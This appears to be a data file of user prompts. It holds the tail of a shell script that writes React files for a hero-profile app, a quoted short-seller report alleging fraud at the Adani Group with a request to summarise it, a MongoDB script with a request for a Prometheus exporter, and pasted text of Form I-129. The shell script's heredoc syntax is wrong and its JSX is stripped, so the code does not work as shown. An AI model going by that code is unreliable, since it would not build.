#fff;\nbackground-color: #f00;\nborder: none;\nborder-radius: 4px;\npadding: 8px 16px;\nmargin-top: 16px;\ncursor: pointer;\n}\n\ncat < src/pages/HeroProfile/style.css\n\nEOF\ncat < src/const/index.ts\nexport enum API\\_URL {\nHEROES = 'https://hahow-recruit.herokuapp.com/heroes',\nHERO\\_PROFILE = 'https://hahow-recruit.herokuapp.com/heroes/:heroId/profile',\n}\nEOF\n\ncat < src/contexts/index.tsx\nimport React, { createContext, useState } from 'react';\n\ninterface ContextValue {\nselectedHeroId: string;\nsetSelectedHeroId: React.Dispatch>;\n}\n\nexport const AppContext = createContext({\nselectedHeroId: '1',\nsetSelectedHeroId: () => {},\n});\n\nexport const AppContextProvider: React.FC = ({ children }) => {\nconst [selectedHeroId, setSelectedHeroId] = useState('1');\n\nreturn (\n\n{children}\n\n);\n};\nEOF\n\ncat < src/helper/index.tsx\nimport axios from 'axios';\nimport { API\\_URL } from '../const';\n\nexport const getHeroes = async () => {\nconst response = await axios.get(API\\_URL.HEROES);\nreturn response.data;\n};\n\nexport const getHeroProfile = async (heroId: number) => {\nconst url = API\\_URL.HERO\\_PROFILE.replace(':heroId', String(heroId));\nconst response = await axios.get(url);\nreturn response.data;\n};\nEOF\n\ncat < src/hooks/index.tsx\nimport { useContext } from 'react';\nimport { useHistory } from 'react-router-dom';\nimport { AppContext } from '../contexts';\n\nexport const useSelectedHeroId = () => {\nconst { selectedHeroId, setSelectedHeroId } = useContext(AppContext);\nconst history = useHistory();\n\nconst handleSelectedHeroIdChange = (heroId: string) => {\nsetSelectedHeroId(heroId);\nhistory.push(/heroes/${heroId});\n};\n\nreturn { selectedHeroId, handleSelectedHeroIdChange };\n};\nEOF\n\nAdd context provider to App component\nsed -i '' 's//\\n&/' src/App.tsx\necho ' ' >> src/App.tsx\n\nUpdate App component with routing and pages\ncat < src/App.tsx\nimport React from 'react';\nimport { BrowserRouter as Router, Switch, Route } from 'react-router-dom';\nimport HeroList from './pages/HeroList';\nimport HeroProfile from './pages/HeroProfile';\nimport './App.css';\n\nconst App: React.FC = () => {\nreturn (\n\n\n);\n};\n\nexport default App;\nEOF\n\nAdd global styles to index.css\ncat < src/index.css\n\n{\nbox-sizing: border-box;\nmargin: 0;\npadding: 0;\n}\nbody {\nfont-family: Arial, Helvetica, sans-serif;\n}\n\na {\ncolor: inherit;\ntext-decoration: none;\n}\nEOF\n\necho 'Done!'\ncat < src/components/HeroCard/index.tsx\nimport React from 'react';\nimport { Link } from 'react-router-dom';\nimport { useSelectedHeroId } from '../../hooks';\nimport style from './style.css';\n\ninterface Props {\nid: string;\nname: string;\nimage: string;\n}\n\nconst HeroCard: React.FC = ({ id, name, image }) => {\nconst { selectedHeroId, handleSelectedHeroIdChange } = useSelectedHeroId();\n\nreturn (\n handleSelectedHeroIdChange(id)}\n>\n\n{name}\n\n);\n};\n\nexport default HeroCard;\nEOF\n\ncat < src/components/HeroCard/style.css\n.heroCard {\ndisplay: flex;\nflex-direction: column;\nalign-items: center;\nwidth: 200px;\nheight: 300px;\nborder: 1px solid #ccc;\nborder-radius: 4px;\nmargin-right: 16px;\nmargin-bottom: 16px;\npadding: 16px;\ntext-align: center;\ncursor: pointer;\n}\n\n.heroCard:hover {\nbackground-color: #f5f5f5;\n}\n\n.selected {\nborder-color: #f00;\n}\n\n.heroImage {\nwidth: 120px;\nheight: 120px;\nborder-radius: 50%;\nobject-fit: cover;\nmargin-bottom: 16px;\n}\n\n.heroName {\nfont-size: 20px;\nfont-weight: bold;\ntext-overflow: ellipsis;\nwhite-space: nowrap;\noverflow: hidden;\n}\nEOF\n\ncat < src/pages/HeroList/index.tsx\nimport React, { useEffect, useState } from 'react';\nimport { getHeroes } from '../../helper';\nimport HeroCard from '../../components/HeroCard';\nimport style from './style.css';\n\nconst HeroList: React.FC = () => {\nconst [heroes, setHeroes] = useState([]);\n\nuseEffect(() => {\ngetHeroes().then((data) => setHeroes(data));\n}, []);\n\nreturn (\n{heroes.map(({ id, name, image }: any) => (\n\n))}\n);\n};\n\nexport default HeroList;\nEOF\n\ncat < src/pages/HeroList/style.css\n.heroListPage {\ndisplay: flex;\nflex-direction: column;\nalign-items: center;\npadding-top: 32px;\n}\n\n.heroList {\ndisplay: flex;\nflex-wrap: wrap;\njustify-content: center;\nmargin-top: 32px;\n}\n\n@media screen and (max-width: 640px) {\n.heroList {\nflex-direction: column;\n}\n}\nEOF\n\necho 'Done!'\n\ncat < src/pages/HeroProfile/index.tsx\nimport React, { useEffect, useState } from 'react';\nimport { useParams } from 'react-router-dom';\nimport { getHeroProfile } from '../../helper';\nimport { useSelectedHeroId } from '../../hooks';\nimport style from './style.css';\n\ninterface Params {\nheroId: string;\n}\n\nconst HeroProfile: React.FC = () => {\nconst { heroId } = useParams();\nconst [heroProfile, setHeroProfile] = useState({});\nconst { selectedHeroId } = useSelectedHeroId();\n\nuseEffect(() => {\ngetHeroProfile(Number(heroId)).then((data) => setHeroProfile(data));\n}, [heroId]);\n\nconst handleAbilityChange = (abilityName: string, newValue: number) => {\nsetHeroProfile((prevHeroProfile) => ({\n...prevHeroProfile,\nabilities: prevHeroProfile.abilities.map((ability: any) =>\nability.name === abilityName\n? {\n...ability,\nvalue: Math.max(0, Math.min(ability.value + newValue, 99)),\n}\n: ability\n),\n}));\n};\n\nconst remainingPoints =\n10 - heroProfile.abilities?.reduce((sum: number, ability: any) => sum + ability.value, 0);\n\nreturn (\n\n\n{heroProfile.name}\n{heroProfile.abilities?.map(({ id, name, value }: any) => (\n\n{name}\n\n handleAbilityChange(name, -1)}\n>\n-\n\n{value}\n handleAbilityChange(name, 1)}\n>\n+\n\n))}\n\nRemaining Points: {remainingPoints}\n\nSave\n\n);\n};\n\nexport default HeroProfile;\nEOF\n\ncat < src/pages/HeroProfile/style.css\n.heroProfilePage {\ndisplay: flex;\nflex-direction: column;\nalign-items: center;\npadding-top: 32px;\n}\n\n.heroList {\ndisplay: flex;\nflex-wrap: wrap;\njustify-content: center;\nmargin-top: 32px;\n}\n\n.heroProfile {\ndisplay: flex;\nflex-direction: column;\nalign-items: center;\nwidth: 300px;\nborder: 1px solid #ccc;\nborder-radius: 4px;\nmargin-right: 16px;\nmargin-bottom:16px;\npadding: 16px;\ntext-align: center;\n}\n\n.heroImageWrapper {\nwidth: 150px;\nheight: 150px;\nborder-radius: 50%;\noverflow: hidden;\nmargin-bottom: 16px;\n}\n\n.heroImage {\nwidth: 100%;\nheight: 100%;\nobject-fit: cover;\n}\n\n.heroName {\nfont-size: 20px;\nfont-weight: bold;\ntext-overflow: ellipsis;\nwhite-space: nowrap;\noverflow: hidden;\nmargin-bottom: 16px;\n}\n\n.ability {\ndisplay: flex;\njustify-content: space-between;\nmargin-bottom: 8px;\n}\n\n.abilityName {\nfont-size: 16px;\nfont-weight: bold;\n}\n\n.abilityValue {\ndisplay: flex;\nalign-items: center;\njustify-content: center;\n}\n\n.value {\nfont-size: 16px;\nfont-weight: bold;\nmargin: 0 8px;\n}\n\n.button {\nbackground-color: #007bff;\ncolor: #fff;\nborder: none;\nborder-radius: 50%;\nwidth: 24px;\nheight: 24px;\ncursor: pointer;\n}\n\n.button:disabled {\nopacity: 0.5;\ncursor: not-allowed;\n}\n\n.remainingPoints {\nmargin-top: 16px;\nfont-size: 16px;\nfont-weight: bold;\n}\nEOF\n\ncat < src/contexts/SelectedHeroIdContext.tsx\nimport React, { createContext, useContext, useState } from 'react';\n\ninterface SelectedHeroIdContextProps {\nselectedHeroId: string;\nhandleSelectedHeroIdChange: (heroId: string) => void;\n}\n\nconst SelectedHeroIdContext = createContext({\nselectedHeroId: '',\nhandleSelectedHeroIdChange: () => {},\n});\n\nexport const useSelectedHeroId = () => useContext(SelectedHeroIdContext);\n\nexport const SelectedHeroIdProvider: React.FC = ({ children }) => {\nconst [selectedHeroId, setSelectedHeroId] = useState('');\n\nconst handleSelectedHeroIdChange = (heroId: string) => {\nsetSelectedHeroId(heroId);\n};\n\nconst value = {\nselectedHeroId,\nhandleSelectedHeroIdChange,\n};\n\nreturn (\n{children}\n);\n};\nEOF\n\ncat < src/helper/index.tsx\nexport const getHeroes = async () => {\nconst response = await fetch('https://hahow-recruit.herokuapp.com/heroes');\nconst data = await response.json();\nreturn data;\n};\n\nexport const getHeroProfile = async (heroId: number) => {\nconst response = await fetch(https://hahow-recruit.herokuapp.com/heroes/${heroId}/profile);\nconst data = await response.json();\nreturn data;\n};\nEOF\n\ncat < src/hooks/index.tsx\nimport { useContext } from 'react';\nimport { SelectedHeroIdContext } from '../contexts/SelectedHeroIdContext';\n\nexport const useSelectedHeroId = () => useContext(SelectedHeroIdContext);\nEOF\n\necho 'Done!'\n\nnpm install\n\nnpm start" -'Today we reveal the findings of our 2-year investigation, presenting evidence that the INR 17.8 trillion (U.S. $218 billion) Indian conglomerate Adani Group has engaged in a brazen stock manipulation and accounting fraud scheme over the course of decades.\nGautam Adani, Founder and Chairman of the Adani Group, has amassed a net worth of roughly $120 billion, adding over $100 billion in the past 3 years largely through stock price appreciation in the group’s 7 key listed companies, which have spiked an average of 819% in that period.\nOur research involved speaking with dozens of individuals, including former senior executives of the Adani Group, reviewing thousands of documents, and conducting diligence site visits in almost half a dozen countries.\nEven if you ignore the findings of our investigation and take the financials of Adani Group at face value, its 7 key listed companies have 85% downside purely on a fundamental basis owing to sky-high valuations.\nKey listed Adani companies have also taken on substantial debt, including pledging shares of their inflated stock for loans, putting the entire group on precarious financial footing. 5 of 7 key listed companies have reported ‘current ratios’ below 1, indicating near-term liquidity pressure.\nThe group’s very top ranks and 8 of 22 key leaders are Adani family members, a dynamic that places control of the group’s financials and key decisions in the hands of a few. A former executive described the Adani Group as “a family business.”\nThe Adani Group has previously been the focus of 4 major government fraud investigations which have alleged money laundering, theft of taxpayer funds and corruption, totaling an estimated U.S. $17 billion. Adani family members allegedly cooperated to create offshore shell entities in tax-haven jurisdictions like Mauritius, the UAE, and Caribbean Islands, generating forged import/export documentation in an apparent effort to generate fake or illegitimate turnover and to siphon money from the listed companies.\nGautam Adani’s younger brother, Rajesh Adani, was accused by the Directorate of Revenue Intelligence (DRI) of playing a central role in a diamond trading import/export scheme around 2004-2005. The alleged scheme involved the use of offshore shell entities to generate artificial turnover. Rajesh was arrested at least twice over separate allegations of forgery and tax fraud. He was subsequently promoted to serve as Managing Director of Adani Group.\nGautam Adani’s brother-in-law, Samir Vora, was accused by the DRI of being a ringleader of the same diamond trading scam and of repeatedly making false statements to regulators. He was subsequently promoted to Executive Director of the critical Adani Australia division.\nGautam Adani’s elder brother, Vinod Adani, has been described by media as “an elusive figure”. He has regularly been found at the center of the government’s investigations into Adani for his alleged role in managing a network of offshore entities used to facilitate fraud.\nOur research, which included downloading and cataloguing the entire Mauritius corporate registry, has uncovered that Vinod Adani, through several close associates, manages a vast labyrinth of offshore shell entities.\nWe have identified 38 Mauritius shell entities controlled by Vinod Adani or close associates. We have identified entities that are also surreptitiously controlled by Vinod Adani in Cyprus, the UAE, Singapore, and several Caribbean Islands.\nMany of the Vinod Adani-associated entities have no obvious signs of operations, including no reported employees, no independent addresses or phone numbers and no meaningful online presence. Despite this, they have collectively moved billions of dollars into Indian Adani publicly listed and private entities, often without required disclosure of the related party nature of the deals.\nWe have also uncovered rudimentary efforts seemingly designed to mask the nature of some of the shell entities. For example, 13 websites were created for Vinod Adani-associated entities; many were suspiciously formed on the same days, featuring only stock photos, naming no actual employees and listing the same set of nonsensical services, such as “consumption abroad” and “commercial presence”.\nThe Vinod-Adani shells seem to serve several functions, including (1) stock parking / stock manipulation (2) and laundering money through Adani’s private companies onto the listed companies’ balance sheets in order to maintain the appearance of financial health and solvency.\nPublicly listed companies in India are subject to rules that require all promoter holdings (known as insider holdings in the U.S.) to be disclosed. Rules also require that listed companies have at least 25% of the float held by non-promoters in order to mitigate manipulation and insider trading. 4 of Adani’s listed companies are on the brink of the delisting threshold due to high promoter ownership.\nOur research indicates that offshore shells and funds tied to the Adani Group comprise many of the largest “public” (i.e., non-promoter) holders of Adani stock, an issue that would subject the Adani companies to delisting, were Indian securities regulator SEBI’s rules enforced.\nMany of the supposed “public” funds exhibit flagrant irregularities such as being (1) Mauritius or offshore-based entities, often shells (2) with beneficial ownership concealed via nominee directors (3) and with little to no diversification, holding portfolios almost exclusively consisting of shares in Adani listed companies.\nRight to Information (RTI) requests we filed with SEBI confirm that the offshore funds are the subjects of an ongoing investigation, more than a year-and-a-half after concerns were initially raised by media and members of parliament.\nA former trader for Elara, an offshore fund with almost $3 billion in concentrated holdings of Adani shares, including a fund that is ~99% concentrated in shares of Adani, told us that it is obvious that Adani controls the shares. He explained that the funds are intentionally structured to conceal their ultimate beneficial ownership.\nLeaked emails show that the CEO of Elara worked on deals with Dharmesh Doshi, a fugitive accountant who worked closely on stock manipulation deals with Ketan Parekh, an infamous Indian market manipulator. The emails indicate that the CEO of Elara worked with Doshi on stock deals after he evaded arrest and was widely known as a fugitive.\nAnother firm called Monterosa Investment Holdings controls 5 supposedly independent funds that collectively hold over INR 360 billion (U.S. $4.5 billion) in shares of listed Adani companies, according to Legal Entity Identifier (LEI) data and Indian exchange data.\nMonterosa’s Chairman and CEO served as director in 3 companies alongside a fugitive diamond merchant who allegedly stole U.S. $1 billion before fleeing India. Vinod Adani’s daughter married the fugitive diamond merchant’s son.\nA once-related party entity of Adani invested heavily in one of the Monterosa funds that allocated to Adani Enterprises and Adani Power, according to corporate records, drawing a clear line between the Adani Group and the suspect offshore funds.\nAnother Cyprus-based entity called New Leaina Investments until June-September 2021 owned over U.S. $420 million in Adani Green Energy shares, comprising ~95% of its portfolio. Parliamentary records show it was (and may still be) a shareholder of other Adani listed entities.\nNew Leaina is operated by incorporation services firm Amicorp, which has worked extensively to aid Adani in developing its offshore entity network. Amicorp formed at least 7 Adani promoter entities, at least 17 offshore shells and entities associated with Vinod Adani, and at least 3 Mauritius-based offshore shareholders of Adani stock.\nAmicorp played a key role in the 1MDB international fraud scandal that resulted in U.S. $4.5 billion being siphoned from Malaysian taxpayers. Amicorp established ‘investment funds’ for the key perpetrators that were “simply a way to wash a client’s money through what looked like a mutual fund”, according to the book Billion Dollar Whale, which reported on the scandal.\n‘Delivery volume’ is a unique daily data point that reports institutional investment flows. Our analysis found that offshore suspected stock parking entities accounted for up to 30%-47% of yearly ‘delivery volume’ in several Adani listed companies, a flagrant irregularity indicating that Adani stocks have likely been subject to ‘wash trading’ or other forms of manipulative trading via the suspect offshore entities.\nEvidence of stock manipulation in Adani listed companies shouldn’t come as a surprise. SEBI has investigated and prosecuted more than 70 entities and individuals over the years, including Adani promoters, for pumping Adani Enterprises’ stock.\nA 2007 SEBI ruling stated that “the charges leveled against promoters of Adani that they aided and abetted Ketan Parekh entities in manipulating the scrip of Adani stand proved”. Ketan Parekh is perhaps India’s most notorious stock market manipulator. Adani Group entities originally received bans for their roles, but those were later reduced to fines, a show of government leniency toward the Group that has become a decades-long pattern.\nPer the 2007 investigation, 14 Adani private entities transferred shares to entities controlled by Parekh, who then engaged in blatant market manipulation. Adani Group responded to SEBI by arguing that it had dealt with Ketan Parekh to finance the start of its operations at Mundra port, seemingly suggesting that share sales via stock manipulation somehow constitutes a legitimate form of financing.\nAs part of our investigation, we interviewed an individual who was banned from trading on Indian markets for stock manipulation via Mauritius-based funds. He told us that he knew Ketan Parekh personally, and that little has changed, explaining “all the previous clients are still loyal to Ketan and are still working with Ketan”.\nIn addition to using offshore capital to park stock, we found numerous examples of offshore shells sending money through onshore private Adani companies onto listed public Adani companies.\nThe funds then seem to be used to engineer Adani’s accounting (whether by bolstering its reported profit or cash flows), cushioning its capital balances in order to make listed entities appear more creditworthy, or simply moved back out to other parts of the Adani empire where capital is needed.\nWe also identified numerous undisclosed related party transactions by both listed and private companies, seemingly an open and repeated violation of Indian disclosure laws.\nIn one instance, a Vinod Adani-controlled Mauritius entity with no signs of substantive operations lent INR 11.71 billion (U.S. ~$253 million at that time) to a private Adani entity which did not disclose it as being a related party loan. The private entity subsequently lent funds to listed entities, including INR 9.84 billion (U.S. $138 million at more recent substantially lower exchange rates) to Adani Enterprises.\nAnother Vinod Adani-controlled UAE entity called Emerging Market Investment DMCC lists no employees on LinkedIn, has no substantive online presence, has announced no clients or deals, and is based out of an apartment in the UAE. It lent U.S. $1 billion to an Adani Power subsidiary.\nThis offshore shell network also seems to be used for earnings manipulation. For example, we detail a series of transactions where assets were transferred from a subsidiary of listed Adani Enterprises to a private Singaporean entity controlled by Vinod Adani, without disclosure of the related party nature of these deals. Once on the books of the private entity, the assets were almost immediately impaired, likely helping the public entity avoid a material write-down and negative impact to net income.\nAdani Group’s obvious accounting irregularities and sketchy dealings seem to be enabled by virtually non-existent financial controls. Listed Adani companies have seen sustained turnover in the Chief Financial Officer role. For example, Adani Enterprises has had 5 chief financial officers over the course of 8 years, a key red flag indicating potential accounting issues.\nThe independent auditor for Adani Enterprises and Adani Total Gas is a tiny firm called Shah Dhandharia. Shah Dhandharia seems to have no current website. Historical archives of its website show that it had only 4 partners and 11 employees. Records show it pays INR 32,000 (U.S. $435 in 2021) in monthly office rent. The only other listed entity we found that it audits has a market capitalization of about INR 640 million (U.S. $7.8 million).\nShah Dhandharia hardly seems capable of complex audit work. Adani Enterprises alone has 156 subsidiaries and many more joint ventures and affiliates, for example. Further, Adani’s 7 key listed entities collectively have 578 subsidiaries and have engaged in a total of 6,025 separate related-party transactions in fiscal year 2022 alone, per BSE disclosures.\nThe audit partners at Shah Dhandharia who respectively signed off on Adani Enterprises and Adani Total Gas’ annual audits were as young as 24 and 23 years old when they began approving the audits. They were essentially fresh out of school, hardly in a position to scrutinize and hold to account the financials of some of the largest companies in the country, run by one of its most powerful individuals.\nGautam Adani has claimed in an interview to “have a very open mind towards criticism…Every criticism gives me an opportunity to improve myself.” Despite these claims, Adani has repeatedly sought to have critical journalists or commentators jailed or silenced through litigation, using his immense power to pressure the government and regulators to pursue those who question him.\nWe believe the Adani Group has been able to operate a large, flagrant fraud in broad daylight in large part because investors, journalists, citizens and even politicians have been afraid to speak out for fear of reprisal.\nWe have included 88 questions in the conclusion of our report. If Gautam Adani truly embraces transparency, as he claims, they should be easy questions to answer. We look forward to Adani’s response\n\nsummarise in a way that when I look back at it in the future it give me the complete understanding of the situation' -'I have a JS script that outputs human readable statistics about the health of some orgs:\n\n var resellers = db.reseller.aggregate([\n { $match : {$or : [\n { $and : [ {"trialRecord" : {$exists : false}}, {"approved" : true} ] },\n { $and : [ {"trialRecord" : {$exists : true}}, {"trialRecord.state" :"converted"}, {"approved" : true} ] },\n { $and : [\n {"trialRecord" : {$exists : true}}, {"trialRecord.state" :"active"}, {"approved" : true},\n { $or : [ {$and : [{"trialRecord.expirationDate" : {$exists : true}}, {"trialRecord.expirationDate" : {$gte : (new ISODate())}}]}, {"trialRecord.expirationDate" : {$exists : false} }] }\n ]}\n\n ]}},\n {\n $group: { \\_id: "$\\_id"}\n }\n ]).map(function(r) { return r.\\_id; });\nvar activeOrgs = db.organization.aggregate([\n { $match : {$or : [\n { $and : [ {"reseller" : {$exists : false}}] },\n { $and :[{ "reseller.$id" : {$in : resellers} } ]}\n ]}},\n {$match : { "providers.0" : {$exists : true}}},\n {\n $addFields: {\n totalActiveProviders:\n {\n $size: { $filter: {\n input : "$providers",\n as: "p",\n cond : { $and :[ {$eq : ["$$p.disabled", false ]}, {$eq : ["$$p.inTrial", false]}, {$eq : ["$$p.approved", true]} ]} } }\n\n }\n }\n },\n { $match : { "totalActiveProviders" : { $gte : 1} } },\n { $group: { \\_id: "$\\_id"} }\n ]).map(function(r) { return r.\\_id; });\nvar orgContainers = db.container2.aggregate([\n {$match : {$and: [\n {"organizationId": { $in :activeOrgs}},\n {"selected": true},\n {"connectorEnabled": true},\n {"providerEnabled": true},\n {"status" : "ACTIVE"},\n {"initialScanDone" : true},\n {"lastScanCompleted" : {$exists: true}},\n {"containerId.connectorId": {$in: ["gsites","gcontacts","gcalendar","gmail","gdrive","gshareddrives","office365contacts","office365mail","office365calendar","office365sharepoint20","office365onedrive20","office365archive"]}}\n ]}\n },\n {$match : {$or: [\n {"slaMet" : { $not: {$eq: true}}},\n {"lastScanCompleted" : { $not: {$gte: (new Date().getTime() - 1000 \\* 3600 \\* 24)}}},\n ]}\n },\n {$group: {\\_id: "$organizationId", total: {$sum: 1} }\n },\n { $sort: { total:-1}}\n]);\n\nvar sum = 0;\norgContainers.forEach(function(doc) {\n print(doc.\\_id + " " + doc.total);\n sum= sum + doc.total;\n});\nprint("TOTAL SLA FAILED: " + sum); \n\nit outputs stuff like\n\nMongoDB shell version v4.4.12\nconnecting to: mongodb://127.0.0.1:27017/cloudfinder?compressors=disabled&gssapiServiceName=mongodb\nImplicit session: session { "id" : UUID("2bef6f94-4c05-4284-9e27-9e04d67305ec") }\nMongoDB server version: 4.4.12\nintapp 10042\nadtechsystems 7956\nqubiqa 2861\nklarna 343\nsandlandpackaging 71\npmtank 53\npeabodyarnold 38\nnoterman 23\nmbkemp 17\nnanomagic 16\nbygg 14\nnfrnet 14\nbaptisthealthsysteminc 12\nnutritech 11\nnishna 10\nthelawofficesofdanielkim 10\nitformule 9\nmkmdistributionservices 9\nmillerzeiderman 9\nsmithandbrink 8\nhaleyolsonpc 8\nitconsecltd 8\nmiraclefeet 8\nlchvandendriestrb 8\nculinaryschooloffortworth 7\nadvisornetfreedomfinancial 7\njnbafinancialadvisors 7\nstjosephtheworker 7\ndsflooring 7\nsujajuice 7\neykt 7\npalatineruralfiredepartment 7\ntimemanagementsystems 7\nassetbasedlending 6\ndioceseofmonterey 6\npcc 6\nsoknlogmannsstofaehf 6\nmontereybaycommunitypower 6\nalares.es 6\npri 6\nfringebenefit 6\nperformanceconnectivityinc 6\nspecialistconservatoryroofsystems 6\nfostar 6\nncchild 5\ndpp 5\navalonenterprise.com 5\ncuraterrae 5\nnorthweldcountywaterdistrict 5\ngreatersiouxfallschamber 5\numhs 5\ntrianglewarehouse 5\nhvankeppel 5\nwesternleisureservices 4\npipepiling 4\nremaxintegrity 4\nredrockpartnership 4\nalexprod 4\nymcalcan 4\nagingcareadvocates 4\nmontereysalinastransit 4\nparticipantmedia 4\nyouthbuild 3\ncadigal 3\nhovlandrasmus 3\ndyminsteelwest 3\niib 3\nbriarwoodpresbyterianchurch 3\ncapitalletters 3\ncrabelcapitalmanagement 3\nnovocustomltdnfr 3\nppoconnorltd 3\nhirstapplegate 3\npropercontent 3\ncompletestructural 3\nbigsurlandtrust 3\nneurologiceurope 3\nakkonsultcom 3\ndesmondahern 3\nnotredamehighschool 3\nsabrestrategies 3\nflagzonellc 3\nlynchcarpenterllp 3\nscullytwiss 3\nbulleyscharteredsurveyors 3\nmckenzies 3\nefolder 3\nonepennsylvania 3\nnorthrockpartners 3\nweisgroup 3\nleacockpaving 3\nalignjv 3\nmg2group 3\nspecialtours 2\nmmh 2\nrecyclingsolutions 2\nmissionfirst 2\ninclinemanagementlp 2\nnjscreenprints 2\nprattfeedersks 2\ndjassociates 2\nnuura 2\nitcosolutions 2\nhannahs 2\nsupermesafuelmercllc 2\nnordoffrobbins 2\npattersonlawfirm 2\nmilesbetterheatinglimited 2\ninvisikcorporation 2\nrotthegewassermann 2\nbostonmeridian 2\nmeshedtechnology 2\nhandpickedhotels 2\ncommunityfoundationofnortherncolorado 2\nurbanhomeworks 2\nsatterleypropertygroup 2\nconnectingpoint119598 2\nbtmegroup 2\naccidentrepairmanagementarm 2\ndaviddrewtransportation 2\nhardwickandsons 2\nestesvalleyfireprotectiondistrict 2\nwiandlaw 2\ntritoncomm 2\nipgl 2\nhartness 1\ncytrellis 1\nsouthernnewenglandcovnerenceucc 1\nminerals260 1\nbitsmartitinternal 1\ncityofpetaluma 1\nturnerservices 1\nstratiis 1\nfranciscoandassociates 1\nleveywagleyputmaneccherpa 1\nwinchestermotorgroup 1\ndsgp 1\nthetnsgroup 1\npactone 1\ngreenacrerecycling 1\nfirselross 1\nfisherbrothersexteriors 1\nvertechitservices 1\nintivix 1\nxitechnologiesinc 1\nthomaslavininc 1\nmetalsolutions 1\nhighpoint 1\nptservicesgroupinc 1\nperfectstaysltd 1\nbosmachine 1\ncroudacedietrichpc 1\nelecsisltd 1\njmg 1\nmodini 1\neurocepthomecare 1\nstaffmore 1\nzuken 1\npinsonvalleyheattreating 1\nairatlanta984313 1\nlerospointtopoint 1\ncoopgrain 1\nbfa 1\nliontown 1\nadvisornetalignedwealthplanning 1\ngreengageagritechltd 1\nmetalsx 1\nsightcenter 1\nthomson 1\nmechanicalsystems 1\neos 1\nsecufogo 1\nnewlifebible 1\namericanbanktrust 1\nunitedwayofweldcounty 1\nfloorcleaningmachines 1\naquilatruckcentre 1\nlaramiepeakmotors 1\nanthonyandpartners 1\necssynergysa 1\nkaupthing 1\nwarrenpartners 1\nmagicbreakfast 1\nwestteksolutionsltdnfr 1\njohnrwhite 1\nmmachelassociatesltd 1\nadvisornetderuyterbell 1\nbarwonneurology 1\ncarmelvalleymanor 1\nnppc 1\nbritanniabureau 1\nbrowninsurance 1\nhahnfeld 1\nzenorkuehnerplc 1\ntheinstituteforstatecraft 1\neurov 1\ninstallamerica 1\nfirstbank 1\nsoundfinancialmanagement 1\nnewhorizonyouthcentre 1\norigohf 1\nepiscopaldioceseofalabama 1\nmanchesterfluid 1\namericanantiquariansociety 1\napi 1\nsurelinecommunicationsltdnfr 1\nredwoodcomsg 1\nsyscoenvironmental 1\nhooten 1\nszyofficetest 1\naivafertiliser 1\noatc 1\npinnacleengineering 1\njfgroup 1\napeironpartners 1\nbtpnfr 1\nmultiorg 1\nkbselectrical 1\nmooreinsight 1\nagritrails 1\ngreenhousefunds 1\nriccolo 1\nsalem 1\nwhitebirdcliniconmicrosoft 1\nbeautifulsavior 1\ncalhackeman 1\nfallstekhoylaw 1\nbpc 1\ngalante 1\nfuseboxone 1\ntecsec 1\nappsdemo 1\ntikvahfund 1\ntellingrainscreens 1\nelderconstruction 1\npokyfeeders 1\nthecoloradogroup 1\nsolidariteit 1\nbrixandco 1\nsagittariusip 1\nquestemployment 1\naltreedevelopments 1\n2mautomation 1\ncommunityfoundation 1\nkeytexenergyllc 1\nleapmanagedit 1\ncoudfinder 1\neberlysystems 1\nstansinc 1\nomscoltd 1\nbarrassoexcavation 1\ngreenbeetech 1\nshowplacewoodproducts 1\noutofhomemedia 1\ninvestdetroit 1\nlogicwingcom 1\nempirehomewares 1\ngrefesidney 1\nlegrossolicitors 1\ndiraymediainc 1\nbluestem 1\ninterpetltd 1\nmindroom 1\nmvegroup 1\nredriverchildrensadvocacycenter 1\nbeacheslogistics 1\nTOTAL SLA FAILED: 22066\nbye\n\nI want to turn this into a lightweight prometheus exporter that provides those same statistics for prometheus to scrape' -'Ok, now, I am showing you the form looks like:\n\nr\nUSCIS\nUse\nOnly\nPetition for a Nonimmigrant Worker\nDepartment of Homeland Security\nU.S. Citizenship and Immigration Services\nUSCIS\nForm I-129\nOMB No. 1615-0009\nExpires 11/30/2025\nClassification Approved\nConsulate/POE/PFI Notified\nExtension Granted\nCOS/Extension Granted\nReceipt Partial Approval (explain) Action Block\nClass:\nNo. of Workers:\nJob Code:\nValidity Dates:\nFrom:\nTo:\nAt:\nLegal Name of Individual Petitioner\nIf you are an individual filing this petition, complete Item Number 1. If you are a company or an organization filing this petition,\ncomplete Item Number 2.\nFamily Name (Last Name) Given Name (First Name) Middle Name\n1.\n4. Contact Information\nPart 1. Petitioner Information\n► START HERE - Type or print in black ink.\n2. Company or Organization Name\n3. Mailing Address of Individual, Company or Organization\nCity or Town State ZIP Code\nIn Care Of Name\nStreet Number and Name Apt. Ste. Flr. Number\nDaytime Telephone Number\nU.S. Social Security Number (if any)\nEmail Address (if any)\nIndividual IRS Tax Number\nMobile Telephone Number\nFederal Employer Identification Number (FEIN)\n5. Other Information\n► ►\nProvince Postal Code Country\n►\n(USPS ZIP Code Lookup)\n Page 1 of 36\nForm I-129 Edition 11/02/22\nPart 2. Information About This Petition (See instructions for fee information)\n1. Requested Nonimmigrant Classification (Write classification symbol):\n2. Basis for Classification (select only one box):\nNew employment.\nNew concurrent employment.\nChange of employer.\nAmended petition.\nChange in previously approved employment.\nContinuation of previously approved employment without change with the same employer.\n3. Provide the most recent petition/application receipt number for the\nbeneficiary. If none exists, indicate "None."\nNotify the office in Part 4. so each beneficiary can obtain a visa or be admitted. (NOTE: A petition is not required for\nE-1, E-2, E-3, H-1B1 Chile/Singapore, or TN visa beneficiaries.)\nChange the status and extend the stay of each beneficiary because the beneficiary(ies) is/are now in the United States in\nanother status (see instructions for limitations). This is available only when you check "New Employment" in Item\nNumber 2., above.\nExtend the stay of each beneficiary because the beneficiary(ies) now hold(s) this status.\nAmend the stay of each beneficiary because the beneficiary(ies) now hold(s) this status.\n4. Requested Action (select only one box):\nExtend the status of a nonimmigrant classification based on a free trade agreement. (See Trade Agreement Supplement\nto Form I-129 for TN and H-1B1.)\nChange status to a nonimmigrant classification based on a free trade agreement. (See Trade Agreement Supplement to\nForm I-129 for TN and H-1B1.)\n5. Total number of workers included in this petition. (See instructions relating to\nwhen more than one worker can be included.)\nPart 3. Beneficiary Information (Information about the beneficiary/beneficiaries you are filing for. Complete the\nblocks below. Use the Attachment-1 sheet to name each beneficiary included in this petition.)\n1. If an Entertainment Group, Provide the Group Name\n2. Provide Name of Beneficiary\nFamily Name (Last Name) Given Name (First Name) Middle Name\nFamily Name (Last Name) Given Name (First Name) Middle Name\n3. Provide all other names the beneficiary has used. Include nicknames, aliases, maiden name, and names from all previous marriages.\n4. Other Information\nDate of birth (mm/dd/yyyy) Gender\nMale Female\nU.S. Social Security Number (if 